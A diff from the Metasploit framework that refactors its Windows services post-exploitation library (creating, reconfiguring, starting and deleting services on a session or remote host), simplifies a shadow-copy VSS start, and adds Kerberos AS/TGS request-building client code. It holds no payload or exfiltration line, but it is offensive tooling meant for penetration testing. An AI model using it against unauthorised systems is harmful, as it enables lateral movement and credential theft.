# _In_ DWORD dwDesiredAccess
|
||||
# );
|
||||
manag = session.railgun.advapi32.OpenSCManagerA(machine_str,nil,access)
|
||||
manag = advapi32.OpenSCManagerA(machine_str,nil,access)
|
||||
if (manag["return"] == 0)
|
||||
raise RuntimeError.new("Unable to open service manager, GetLastError: #{manag["GetLastError"]}")
|
||||
raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}")
|
||||
end
|
||||
|
||||
if (block_given?)
|
||||
begin
|
||||
yield manag["return"]
|
||||
ensure
|
||||
close_sc_manager(manag["return"])
|
||||
close_service_handle(manag["return"])
|
||||
end
|
||||
else
|
||||
return manag["return"]
|
||||
|
@ -74,20 +95,95 @@ module Services
|
|||
#
|
||||
# Call advapi32.dll!CloseServiceHandle on the given handle
|
||||
#
|
||||
def close_sc_manager(handle)
|
||||
def close_service_handle(handle)
|
||||
if handle
|
||||
session.railgun.advapi32.CloseServiceHandle(handle)
|
||||
advapi32.CloseServiceHandle(handle)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Open the service with advapi32.dll!OpenServiceA on the
|
||||
# target manager
|
||||
#
|
||||
# @return [Fixnum] Opaque Windows handle SC_HANDLE as returned by
|
||||
# OpenServiceA()
|
||||
# @yield [manager] Gives the block a service handle as returned by
|
||||
# advapi32.dll!OpenServiceA. When the block returns, the handle
|
||||
# will be closed with {#close_service_handle}.
|
||||
# @raise [RuntimeError] if OpenServiceA failed
|
||||
#
|
||||
def open_service_handle(manager, name, access)
|
||||
handle = advapi32.OpenServiceA(manager, name, access)
|
||||
if (handle["return"] == 0)
|
||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}")
|
||||
end
|
||||
|
||||
if (block_given?)
|
||||
begin
|
||||
yield handle["return"]
|
||||
ensure
|
||||
close_service_handle(handle["return"])
|
||||
end
|
||||
else
|
||||
return handle["return"]
|
||||
end
|
||||
end
|
||||
|
||||
# Yield each service name on the remote host
|
||||
#
|
||||
# @todo Allow operating on a remote host
|
||||
# @yield [String] Case-sensitive name of a service
|
||||
def each_service(&block)
|
||||
if load_extapi
|
||||
session.extapi.service.enumerate.each(&block)
|
||||
else
|
||||
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
||||
|
||||
keys = registry_enumkeys(serviceskey)
|
||||
keys.each do |sk|
|
||||
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type")
|
||||
# From http://support.microsoft.com/kb/103000
|
||||
#
|
||||
# 0x1 A Kernel device driver.
|
||||
#
|
||||
# 0x2 File system driver, which is also
|
||||
# a Kernel device driver.
|
||||
#
|
||||
# 0x4 A set of arguments for an adapter.
|
||||
#
|
||||
# 0x10 A Win32 program that can be started
|
||||
# by the Service Controller and that
|
||||
# obeys the service control protocol.
|
||||
# This type of Win32 service runs in
|
||||
# a process by itself.
|
||||
#
|
||||
# 0x20 A Win32 service that can share a process
|
||||
# with other Win32 services.
|
||||
if srvtype == 32 || srvtype == 16
|
||||
yield sk
|
||||
end
|
||||
end
|
||||
|
||||
keys
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# List all Windows Services present
|
||||
#
|
||||
# @return [Array] The names of the services.
|
||||
# @return [Array<Hash>] Array of Hashes containing Service details. May contain the following keys:
|
||||
# * :name
|
||||
# * :display
|
||||
# * :pid
|
||||
# * :status
|
||||
# * :interactive
|
||||
#
|
||||
# @todo Rewrite to allow operating on a remote host
|
||||
#
|
||||
def service_list
|
||||
if load_extapi
|
||||
return session.extapi.service.enumerate
|
||||
else
|
||||
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
||||
a =[]
|
||||
services = []
|
||||
|
@ -101,13 +197,14 @@ module Services
|
|||
begin
|
||||
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
|
||||
if srvtype == "32" or srvtype == "16"
|
||||
services << sk
|
||||
services << {:name => sk }
|
||||
end
|
||||
rescue
|
||||
end
|
||||
}
|
||||
a.push(t)
|
||||
end
|
||||
end
|
||||
|
||||
return services
|
||||
end
|
||||
|
@ -119,6 +216,9 @@ module Services
|
|||
# command executed by the service. Service name is case sensitive. Hash
|
||||
# keys are Name, Start, Command and Credentials.
|
||||
#
|
||||
# If ExtAPI is available we return the DACL, LOGroup, and Interactive
|
||||
# values otherwise these values are nil
|
||||
#
|
||||
# @param name [String] The target service's name (not to be confused
|
||||
# with Display Name). Case sensitive.
|
||||
#
|
||||
|
@ -128,18 +228,24 @@ module Services
|
|||
#
|
||||
def service_info(name)
|
||||
service = {}
|
||||
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
|
||||
service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s
|
||||
srvstart = registry_getvaldata(servicekey,"Start").to_i
|
||||
if srvstart == 2
|
||||
service["Startup"] = "Auto"
|
||||
elsif srvstart == 3
|
||||
service["Startup"] = "Manual"
|
||||
elsif srvstart == 4
|
||||
service["Startup"] = "Disabled"
|
||||
|
||||
if load_extapi
|
||||
begin
|
||||
return session.extapi.service.query(name)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("Request Error #{e} falling back to registry technique")
|
||||
end
|
||||
service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
|
||||
service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s
|
||||
end
|
||||
|
||||
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
|
||||
service[:display] = registry_getvaldata(servicekey,"DisplayName").to_s
|
||||
service[:starttype] = registry_getvaldata(servicekey,"Start").to_i
|
||||
service[:path] = registry_getvaldata(servicekey,"ImagePath").to_s
|
||||
service[:startname] = registry_getvaldata(servicekey,"ObjectName").to_s
|
||||
service[:dacl] = nil
|
||||
service[:logroup] = nil
|
||||
service[:interactive] = nil
|
||||
|
||||
return service
|
||||
end
|
||||
|
||||
|
@ -149,17 +255,68 @@ module Services
|
|||
# Mode is a string with either auto, manual or disable for the
|
||||
# corresponding setting. The name of the service is case sensitive.
|
||||
#
|
||||
# @todo Rewrite to allow operating on a remote host
|
||||
#
|
||||
def service_change_startup(name,mode)
|
||||
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
|
||||
def service_change_startup(name, mode, server=nil)
|
||||
if mode.is_a? Integer
|
||||
startup_number = mode
|
||||
else
|
||||
case mode.downcase
|
||||
when "auto" then
|
||||
registry_setvaldata(servicekey,"Start","2","REG_DWORD")
|
||||
when "manual" then
|
||||
registry_setvaldata(servicekey,"Start","3","REG_DWORD")
|
||||
when "disable" then
|
||||
registry_setvaldata(servicekey,"Start","4","REG_DWORD")
|
||||
when "boot" then startup_number = START_TYPE_BOOT
|
||||
when "system" then startup_number = START_TYPE_SYSTEM
|
||||
when "auto" then startup_number = START_TYPE_AUTO
|
||||
when "manual" then startup_number = START_TYPE_MANUAL
|
||||
when "disable" then startup_number = START_TYPE_DISABLED
|
||||
else
|
||||
raise RuntimeError, "Invalid Startup Mode: #{mode}"
|
||||
end
|
||||
end
|
||||
|
||||
if session.railgun
|
||||
begin
|
||||
ret = service_change_config(name, {:starttype => startup_number}, server)
|
||||
return (ret == Error::SUCCESS)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
if server
|
||||
# Cant do remote registry changes at present
|
||||
return false
|
||||
else
|
||||
vprint_error("Request Error #{e} falling back to registry technique")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
|
||||
registry_setvaldata(servicekey,"Start",startup_number,"REG_DWORD")
|
||||
end
|
||||
|
||||
#
|
||||
# Modify a service on the session host
|
||||
#
|
||||
# @param name [String] Name of the service to be used as the key
|
||||
# @param opts [Hash] Settings to be modified
|
||||
# @param server [String,nil] A hostname or IP address. Default is the
|
||||
# remote localhost
|
||||
#
|
||||
# @return [GetLastError] 0 if the function succeeds
|
||||
#
|
||||
def service_change_config(name, opts, server=nil)
|
||||
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
|
||||
open_service_handle(manager, name, "SERVICE_CHANGE_CONFIG") do |service_handle|
|
||||
ret = advapi32.ChangeServiceConfigA(service_handle,
|
||||
opts[:service_type] || "SERVICE_NO_CHANGE",
|
||||
opts[:starttype] || "SERVICE_NO_CHANGE",
|
||||
opts[:error_control] || "SERVICE_NO_CHANGE",
|
||||
opts[:path] || nil,
|
||||
opts[:logroup] || nil,
|
||||
opts[:tag_id] || nil,
|
||||
opts[:dependencies] || nil,
|
||||
opts[:startname] || nil,
|
||||
opts[:password] || nil,
|
||||
opts[:display] || nil
|
||||
)
|
||||
|
||||
return ret['GetLastError']
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -167,47 +324,48 @@ module Services
|
|||
# Create a service that runs +executable_on_host+ on the session host
|
||||
#
|
||||
# @param name [String] Name of the service to be used as the key
|
||||
# @param display_name [String] Name of the service as displayed by mmc
|
||||
# @param executable_on_host [String] EXE on the remote filesystem to
|
||||
# be used as the service executable
|
||||
# @param startup [Fixnum] Constant used by CreateServiceA for startup
|
||||
# type: 2 for Auto, 3 for Manual, 4 for Disable. Default is Auto
|
||||
# @param opts [Hash] Settings to be modified
|
||||
# @param server [String,nil] A hostname or IP address. Default is the
|
||||
# remote localhost
|
||||
#
|
||||
# @return [true,false] True if there were no errors, false otherwise
|
||||
# @return [GetLastError] 0 if the function succeeds
|
||||
#
|
||||
def service_create(name, display_name, executable_on_host, startup=2, server=nil)
|
||||
adv = session.railgun.advapi32
|
||||
def service_create(name, opts, server=nil)
|
||||
access = "SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_QUERY_LOCK_STATUS"
|
||||
open_sc_manager(:host=>server, :access=>access) do |manager|
|
||||
|
||||
# SC_MANAGER_CONNECT 0x01
|
||||
# SC_MANAGER_CREATE_SERVICE 0x02
|
||||
# SC_MANAGER_QUERY_LOCK_STATUS 0x10
|
||||
open_sc_manager(:host=>server, :access=>0x13) do |manager|
|
||||
# SC_HANDLE WINAPI CreateService(
|
||||
# __in SC_HANDLE hSCManager,
|
||||
# __in LPCTSTR lpServiceName,
|
||||
# __in_opt LPCTSTR lpDisplayName,
|
||||
# __in DWORD dwDesiredAccess,
|
||||
# __in DWORD dwServiceType,
|
||||
# __in DWORD dwStartType,
|
||||
# __in DWORD dwErrorControl,
|
||||
# __in_opt LPCTSTR lpBinaryPathName,
|
||||
# __in_opt LPCTSTR lpLoadOrderGroup,
|
||||
# __out_opt LPDWORD lpdwTagId,
|
||||
# __in_opt LPCTSTR lpDependencies,
|
||||
# __in_opt LPCTSTR lpServiceStartName,
|
||||
# __in_opt LPCTSTR lpPassword
|
||||
#);
|
||||
newservice = adv.CreateServiceA(manager, name, display_name,
|
||||
0x0010, 0X00000010, startup, 0, executable_on_host,
|
||||
nil, nil, nil, nil, nil)
|
||||
adv.CloseServiceHandle(newservice["return"])
|
||||
if newservice["GetLastError"] == 0
|
||||
return true
|
||||
else
|
||||
return false
|
||||
opts[:display] ||= Rex::Text.rand_text_alpha(8)
|
||||
opts[:desired_access] ||= "SERVICE_START"
|
||||
opts[:service_type] ||= "SERVICE_WIN32_OWN_PROCESS"
|
||||
opts[:starttype] ||= START_TYPE_AUTO
|
||||
opts[:error_control] ||= "SERVICE_ERROR_IGNORE"
|
||||
opts[:path] ||= nil
|
||||
opts[:logroup] ||= nil
|
||||
opts[:tag_id] ||= nil
|
||||
opts[:dependencies] ||= nil
|
||||
opts[:startname] ||= nil
|
||||
opts[:password] ||= nil
|
||||
|
||||
newservice = advapi32.CreateServiceA(manager,
|
||||
name,
|
||||
opts[:display],
|
||||
opts[:desired_access],
|
||||
opts[:service_type],
|
||||
opts[:starttype],
|
||||
opts[:error_control],
|
||||
opts[:path],
|
||||
opts[:logroup],
|
||||
opts[:tag_id], # out
|
||||
opts[:dependencies],
|
||||
opts[:startname],
|
||||
opts[:password]
|
||||
)
|
||||
|
||||
if newservice
|
||||
close_service_handle(newservice["return"])
|
||||
end
|
||||
|
||||
return newservice["GetLastError"]
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -224,27 +382,11 @@ module Services
|
|||
# @raise [RuntimeError] if OpenServiceA failed
|
||||
#
|
||||
def service_start(name, server=nil)
|
||||
adv = session.railgun.advapi32
|
||||
open_sc_manager(:host=>server, :access=>1) do |manager|
|
||||
# SC_HANDLE WINAPI OpenService(
|
||||
# _In_ SC_HANDLE hSCManager,
|
||||
# _In_ LPCTSTR lpServiceName,
|
||||
# _In_ DWORD dwDesiredAccess
|
||||
# );
|
||||
# open with access SERVICE_START (0x0010)
|
||||
handle = adv.OpenServiceA(manager, name, 0x10)
|
||||
if(handle["return"] == 0)
|
||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
|
||||
end
|
||||
retval = adv.StartServiceA(handle["return"],0,nil)
|
||||
adv.CloseServiceHandle(handle["return"])
|
||||
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
|
||||
open_service_handle(manager, name, "SERVICE_START") do |service_handle|
|
||||
retval = advapi32.StartServiceA(service_handle,0,nil)
|
||||
|
||||
# This is terrible. Magic return values should be refactored to
|
||||
# something meaningful.
|
||||
case retval["GetLastError"]
|
||||
when 0; return 0 # everything worked
|
||||
when 1056; return 1 # service already started
|
||||
when 1058; return 2 # service disabled
|
||||
return retval["GetLastError"]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -260,22 +402,21 @@ module Services
|
|||
# @raise (see #service_start)
|
||||
#
|
||||
def service_stop(name, server=nil)
|
||||
adv = session.railgun.advapi32
|
||||
|
||||
# SC_MANAGER_SERVICE_STOP (0x0020)
|
||||
open_sc_manager(:host=>server, :access=>1) do |manager|
|
||||
# open with SERVICE_STOP (0x0020)
|
||||
handle = adv.OpenServiceA(manager, name, 0x20)
|
||||
if(handle["return"] == 0)
|
||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
|
||||
end
|
||||
retval = adv.ControlService(handle["return"],1,56)
|
||||
adv.CloseServiceHandle(handle["return"])
|
||||
open_sc_manager(:host=>server, :access=>"SC_MANAGER_CONNECT") do |manager|
|
||||
open_service_handle(manager, name, "SERVICE_STOP") do |service_handle|
|
||||
|
||||
retval = advapi32.ControlService(service_handle,1,28)
|
||||
case retval["GetLastError"]
|
||||
when 0; return 0 # worked
|
||||
when 1062; return 1 # already stopped or disabled
|
||||
when 1052; return 2 # cannot be stopped
|
||||
when Error::SUCCESS,
|
||||
Error::INVALID_SERVICE_CONTROL,
|
||||
Error::SERVICE_CANNOT_ACCEPT_CTRL,
|
||||
Error::SERVICE_NOT_ACTIVE
|
||||
status = parse_service_status_struct(retval['lpServiceStatus'])
|
||||
else
|
||||
status = nil
|
||||
end
|
||||
|
||||
return retval["GetLastError"]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -286,24 +427,11 @@ module Services
|
|||
# @param (see #service_start)
|
||||
#
|
||||
def service_delete(name, server=nil)
|
||||
adv = session.railgun.advapi32
|
||||
|
||||
open_sc_manager(:host=>server) do |manager|
|
||||
# Now to grab a handle to the service.
|
||||
# Thank you, Wine project for defining the DELETE constant since it,
|
||||
# and all its friends, are missing from the MSDN docs.
|
||||
# #define DELETE 0x00010000
|
||||
handle = adv.OpenServiceA(manager, name, 0x10000)
|
||||
if (handle["return"] == 0)
|
||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
|
||||
open_service_handle(manager, name, "DELETE") do |service_handle|
|
||||
ret = advapi32.DeleteService(service_handle)
|
||||
return ret["GetLastError"]
|
||||
end
|
||||
|
||||
# Lastly, delete it
|
||||
adv.DeleteService(handle["return"])
|
||||
|
||||
adv.CloseServiceHandle(handle["return"])
|
||||
|
||||
handle["GetLastError"]
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -318,26 +446,96 @@ module Services
|
|||
#
|
||||
#
|
||||
def service_status(name, server=nil)
|
||||
adv = session.railgun.advapi32
|
||||
ret = nil
|
||||
|
||||
# 0x80000000 GENERIC_READ
|
||||
open_sc_manager(:host => server, :access => 0x80000000) do |manager|
|
||||
# Now to grab a handle to the service.
|
||||
handle = adv.OpenServiceA(manager, name, 0x80000000)
|
||||
if (handle["return"] == 0)
|
||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}")
|
||||
end
|
||||
open_sc_manager(:host => server, :access => "GENERIC_READ") do |manager|
|
||||
open_service_handle(manager, name, "GENERIC_READ") do |service_handle|
|
||||
status = advapi32.QueryServiceStatus(service_handle,28)
|
||||
|
||||
status = adv.QueryServiceStatus(handle["return"],28)
|
||||
if (status["return"] == 0)
|
||||
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}")
|
||||
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}")
|
||||
else
|
||||
ret = parse_service_status_struct(status['lpServiceStatus'])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
vals = status['lpServiceStatus'].unpack('V*')
|
||||
adv.CloseServiceHandle(handle["return"])
|
||||
return ret
|
||||
end
|
||||
|
||||
ret = {
|
||||
#
|
||||
# Performs an aggressive service (re)start
|
||||
# If service is disabled it will re-enable
|
||||
# If service is running it will stop and restart
|
||||
#
|
||||
# @param name [String] The service name
|
||||
# @param start_type [Integer] The start type to configure if disabled
|
||||
# @param server [String] The server to target
|
||||
#
|
||||
# @return [Boolean] indicating success
|
||||
#
|
||||
#
|
||||
def service_restart(name, start_type=START_TYPE_AUTO, server=nil)
|
||||
tried = false
|
||||
|
||||
begin
|
||||
status = service_start(name, server)
|
||||
|
||||
if status == Error::SUCCESS
|
||||
vprint_good("[#{name}] Service started")
|
||||
return true
|
||||
else
|
||||
raise RuntimeError, status
|
||||
end
|
||||
rescue RuntimeError => s
|
||||
if tried
|
||||
vprint_error("[#{name}] Unhandled error: #{s}")
|
||||
return false
|
||||
else
|
||||
tried = true
|
||||
end
|
||||
|
||||
case s.message.to_i
|
||||
when Error::ACCESS_DENIED
|
||||
vprint_error("[#{name}] Access denied")
|
||||
when Error::INVALID_HANDLE
|
||||
vprint_error("[#{name}] Invalid handle")
|
||||
when Error::PATH_NOT_FOUND
|
||||
vprint_error("[#{name}] Service binary could not be found")
|
||||
when Error::SERVICE_ALREADY_RUNNING
|
||||
vprint_status("[#{name}] Service already running attempting to stop and restart")
|
||||
stopped = service_stop(name, server)
|
||||
if ((stopped == Error::SUCCESS) || (stopped == Error::SERVICE_NOT_ACTIVE))
|
||||
retry
|
||||
else
|
||||
vprint_error("[#{name}] Service disabled, unable to change start type Error: #{stopped}")
|
||||
end
|
||||
when Error::SERVICE_DISABLED
|
||||
vprint_status("[#{name}] Service disabled attempting to set to manual")
|
||||
if (service_change_config(name, {:starttype => start_type}, server) == Error::SUCCESS)
|
||||
retry
|
||||
else
|
||||
vprint_error("[#{name}] Service disabled, unable to change start type")
|
||||
end
|
||||
else
|
||||
vprint_error("[#{name}] Unhandled error: #{s}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parses out a SERVICE_STATUS struct from the
|
||||
# lpServiceStatus out parameter
|
||||
#
|
||||
# @param (lpServiceStatus)
|
||||
#
|
||||
# @return [Hash] Containing SERVICE_STATUS values
|
||||
#
|
||||
def parse_service_status_struct(lpServiceStatus)
|
||||
if lpServiceStatus
|
||||
vals = lpServiceStatus.unpack('V*')
|
||||
return {
|
||||
:type => vals[0],
|
||||
:state => vals[1],
|
||||
:controls_accepted => vals[2],
|
||||
|
@ -346,10 +544,11 @@ module Services
|
|||
:check_point => vals[5],
|
||||
:wait_hint => vals[6]
|
||||
}
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
return ret
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -175,25 +175,9 @@ module ShadowCopy
|
|||
print_status("Volume Shadow Copy service is running.")
|
||||
else
|
||||
print_status("Volume Shadow Copy service not running. Starting it now...")
|
||||
begin
|
||||
ss_result = service_start("VSS")
|
||||
case ss_result
|
||||
when 0
|
||||
print_status("Volume Shadow Copy started successfully.")
|
||||
when 1
|
||||
print_error("Volume Shadow Copy already running.")
|
||||
when 2
|
||||
print_error("Volume Shadow Copy is disabled.")
|
||||
print_status("Attempting to re-enable...")
|
||||
service_change_startup("VSS","manual")
|
||||
ss_result = service_start("VSS")
|
||||
if ss_result == 0
|
||||
return true
|
||||
if service_restart("VSS", START_TYPE_MANUAL)
|
||||
print_good("Volume Shadow Copy started successfully.")
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
rescue
|
||||
print_error("Insufficient Privs to start service!")
|
||||
return false
|
||||
end
|
||||
|
|
|
@ -285,6 +285,7 @@ public
|
|||
res[:workspaces] = []
|
||||
self.framework.db.workspaces.each do |j|
|
||||
ws = {}
|
||||
ws[:id] = j.id
|
||||
ws[:name] = j.name
|
||||
ws[:created_at] = j.created_at.to_i
|
||||
ws[:updated_at] = j.updated_at.to_i
|
||||
|
@ -295,7 +296,7 @@ public
|
|||
|
||||
def rpc_current_workspace
|
||||
db_check
|
||||
{ "workspace" => self.framework.db.workspace.name }
|
||||
{ "workspace" => self.framework.db.workspace.name, "workspace_id" => self.framework.db.workspace.id }
|
||||
end
|
||||
|
||||
def rpc_get_workspace(wspace)
|
||||
|
@ -306,6 +307,7 @@ public
|
|||
if(wspace)
|
||||
w = {}
|
||||
w[:name] = wspace.name
|
||||
w[:id] = wspace.id
|
||||
w[:created_at] = wspace.created_at.to_i
|
||||
w[:updated_at] = wspace.updated_at.to_i
|
||||
ret[:workspace] << w
|
||||
|
|
|
@ -98,7 +98,7 @@ module Msf::HTTP::Wordpress::Version
|
|||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||
|
|
|
@ -0,0 +1,139 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
require 'msf/kerberos/client/base'
|
||||
require 'msf/kerberos/client/as_request'
|
||||
require 'msf/kerberos/client/as_response'
|
||||
require 'msf/kerberos/client/tgs_request'
|
||||
require 'msf/kerberos/client/tgs_response'
|
||||
require 'msf/kerberos/client/pac'
|
||||
require 'msf/kerberos/client/cache_credential'
|
||||
|
||||
include Msf::Kerberos::Client::Base
|
||||
include Msf::Kerberos::Client::AsRequest
|
||||
include Msf::Kerberos::Client::AsResponse
|
||||
include Msf::Kerberos::Client::TgsRequest
|
||||
include Msf::Kerberos::Client::TgsResponse
|
||||
include Msf::Kerberos::Client::Pac
|
||||
include Msf::Kerberos::Client::CacheCredential
|
||||
|
||||
# @!attribute client
|
||||
# @return [Rex::Proto::Kerberos::Client] The kerberos client
|
||||
attr_accessor :client
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(88),
|
||||
OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
# Returns the target host
|
||||
#
|
||||
# @return [String]
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
# Returns the remote port
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
# Returns the TCP timeout
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def timeout
|
||||
datastore['Timeout']
|
||||
end
|
||||
|
||||
# Returns the kdc peer
|
||||
#
|
||||
# @return [String]
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
# Creates a kerberos connection
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :rhost
|
||||
# @option opts [<String, Fixnum>] :rport
|
||||
# @return [Rex::Proto::Kerberos::Client]
|
||||
def connect(opts={})
|
||||
kerb_client = Rex::Proto::Kerberos::Client.new(
|
||||
host: opts[:rhost] || rhost,
|
||||
port: (opts[:rport] || rport).to_i,
|
||||
timeout: (opts[:timeout] || timeout).to_i,
|
||||
context:
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
protocol: 'tcp'
|
||||
)
|
||||
|
||||
disconnect if client
|
||||
self.client = kerb_client
|
||||
|
||||
kerb_client
|
||||
end
|
||||
|
||||
# Disconnects the Kerberos client
|
||||
#
|
||||
# @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect
|
||||
def disconnect(kerb_client = client)
|
||||
kerb_client.close if kerb_client
|
||||
|
||||
if kerb_client == client
|
||||
self.client = nil
|
||||
end
|
||||
end
|
||||
|
||||
# Performs cleanup as necessary, disconnecting the Kerberos client
|
||||
# if it's still established.
|
||||
def cleanup
|
||||
super
|
||||
disconnect
|
||||
end
|
||||
|
||||
# Sends a kerberos AS request and reads the response
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @see Msf::Kerberos::Client::AsRequest#build_as_request
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
def send_request_as(opts = {})
|
||||
connect(opts)
|
||||
req = build_as_request(opts)
|
||||
res = client.send_recv(req)
|
||||
disconnect
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a kerberos AS request and reads the response
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @see Msf::Kerberos::Client::TgsRequest#build_tgs_request
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
def send_request_tgs(opts = {})
|
||||
connect(opts)
|
||||
req = build_tgs_request(opts)
|
||||
res = client.send_recv(req)
|
||||
disconnect
|
||||
res
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,111 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module AsRequest
|
||||
|
||||
# Builds a kerberos AS request
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Array<Rex::Proto::Kerberos::Model::PreAuthData>, Rex::Proto::Kerberos::Model::KdcRequestBody>}]
|
||||
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||
# @see [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||
# @see #build_as_pa_time_stamp
|
||||
# @see #build_as_request_body
|
||||
def build_as_request(opts = {})
|
||||
pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts)
|
||||
body = opts[:body] || build_as_request_body(opts)
|
||||
|
||||
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
|
||||
pvno: 5,
|
||||
msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
|
||||
pa_data: pa_data,
|
||||
req_body: body
|
||||
)
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
# Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Time, Fixnum, String>}]
|
||||
# @option opts [Time] :time_stamp
|
||||
# @option opts [Fixnum] :pausec
|
||||
# @option opts [Fixnum] :etype
|
||||
# @option opts [String] :key
|
||||
# @return [Rex::Proto::Kerberos::Model::PreAuthData]
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||
def build_as_pa_time_stamp(opts = {})
|
||||
time_stamp = opts[:time_stamp] || Time.now
|
||||
pausec = opts[:pausec] || 0
|
||||
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
key = opts[:key] || ''
|
||||
|
||||
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
|
||||
pa_time_stamp: time_stamp,
|
||||
pausec: pausec
|
||||
)
|
||||
|
||||
enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||
etype: etype,
|
||||
cipher: pa_time_stamp.encrypt(etype, key)
|
||||
)
|
||||
|
||||
pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||
type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP,
|
||||
value: enc_time_stamp.encode
|
||||
)
|
||||
|
||||
pa_enc_time_stamp
|
||||
end
|
||||
|
||||
# Builds a kerberos AS request body
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName>}]
|
||||
# @option opts [Fixnum] :options
|
||||
# @option opts [Time] :from
|
||||
# @option opts [Time] :till
|
||||
# @option opts [Time] :rtime
|
||||
# @option opts [Fixnum] :nonce
|
||||
# @option opts [Fixnum] :etype
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||
# @option opts [String] :realm
|
||||
